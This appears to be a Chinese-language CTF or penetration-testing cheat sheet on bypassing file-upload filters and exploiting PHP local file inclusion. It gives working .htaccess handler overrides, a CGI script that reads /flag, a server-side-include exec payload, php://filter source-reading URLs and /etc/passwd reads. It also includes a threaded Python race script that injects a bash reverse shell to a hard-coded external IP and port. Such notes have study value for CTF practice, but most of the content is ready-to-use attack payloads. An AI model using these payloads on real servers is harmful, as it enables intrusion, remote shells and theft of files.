文件上传绕过
前段验证绕过
改js文件
MIME-TYPE绕过
抓包改
黑名单后缀绕过
选择php3、php4、phtml等不常见后缀
双写绕过
文件内容绕过
AddHandler php5-script .jpg <!--将.jpg文件按照php代码进行解析执行-->
AddType application/x-httpd-php.jpg <!--将.jpg文件按照php代码进行解析执行-->
Sethandler application/x-httpd-php <!--将该目录及子目录下的文件均按照php文件解析执行-->
|
### 进行文件包含
php_valueauto_append_file /tmp/webshell.txt php_valueauto_append_file /tmp/sess_xxxxxx
|
### 上传htaccess发现有内容过滤(php)
**方法1**.:使用cgi方式进行解析
将以下内容写入htaccess后上传
内容为:使用cgi的解析脚本
Options +ExecCGI SetHandlercgi-script
|
上传cgi文件
#!/bin/bash echo "Content-Type: text/plain” echo "" cat /flag exit 0
|
**方法2**:反斜线+换行
AddTypeapplication/x-httpd-p\ hp.jpg
|
**方法3**:使用shtml方式进行解析
htaccess上传一下内容
AddType text/html .shtml AddHandler server-parsed .shtml Options Includes
|
shtml内进行命令执行
<pre> <!--#exec cmd="whoami" --> </pre>
|
### user.ini文件的利用
## 文件包含利用
### 本地文件包含利用点
#### 包含目录下的文件
#### 获取web目录或者其他配置文件
#### 包含上传的附件
#### 包含/读取session文件:
save_path为novalue则表示存储在默认的/tmp或/var/lib/php/session目录下
我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。
?file=../../../../../tmp/sess_xxxx
|
import requests import threading sess_id="tlife" s=requests.session() url="http://b.y1ng.vip:2014" def session_upload(): while True: res= s.post( url=f"{url}?page=/tmp/sess_{sess_id}", data={ 'PHP_SESSION_UPLOAD_PROGRESS': "<?=`bash -c 'bash -i >& /dev/tcp/110.42.133.120/9999 0>&1'`;?>" }, files={"file": ('xxx.txt', open("shell.txt", "r"))}, cookies={'PHPSESSID':sess_id} ) for i in range(100): thread=threading.Thread(target=session_upload) thread.start()
|
#### 读取phpinfo可以包含临时文件
##### 1.条件竞争
##### 2.php7.0 filter新特性(伪协议)
file=php://filter/string.strip_tags/resource=/etc/passwd php://filter/read=convert.base64-encode/resource=mybackdoor.php php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php ?file=php://filter/read=convert.base64-decode/resource=./a.txt
|
会造成一个segment fault,导致临时文件不会被删除
##### 3.自己包含自己
上传文件让其一直被执行包含
访问包含文件即可。
#### 利用php流input
?file=php://input(需要allow_url_include=On)
|
filte协议读源码:
若base64-encode被过滤,可以更换另一种编码方式 ?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php如果没有过滤utf,使用convert.iconv.utf-8.utf-7 https://www.php.net/manual/en/mbstring.supported-encodings.php
|
或者直接base64-encode的二次urlencode
## 文件读取可读内容整理
proc 是个好东西,总结下经常会用到的文件: 1.maps 记录一些调用的扩展或者自定义so 文件 2.environ 环境变量 3.comm当前进程运行的程序 4.cmdline程序运行的绝对路径 5.cpusetdocker环境可以看machine ID 6.cgroupdocker环境下全是machine ID 不太常用
|
## nodejs文件读取
python 或者js 最重要的文件一般都是app.js
path-as-is问题,对斜线进行url编码
## python文件读取
### 过滤了./进行目录穿越
python黑魔法:
两个都是平级目录,会直接从选取后一个目录进行读取
os.path.join('/tmp','/etc/passwd') 和 os.path.join('/tmp','/../../etc/passwd')是等价的
|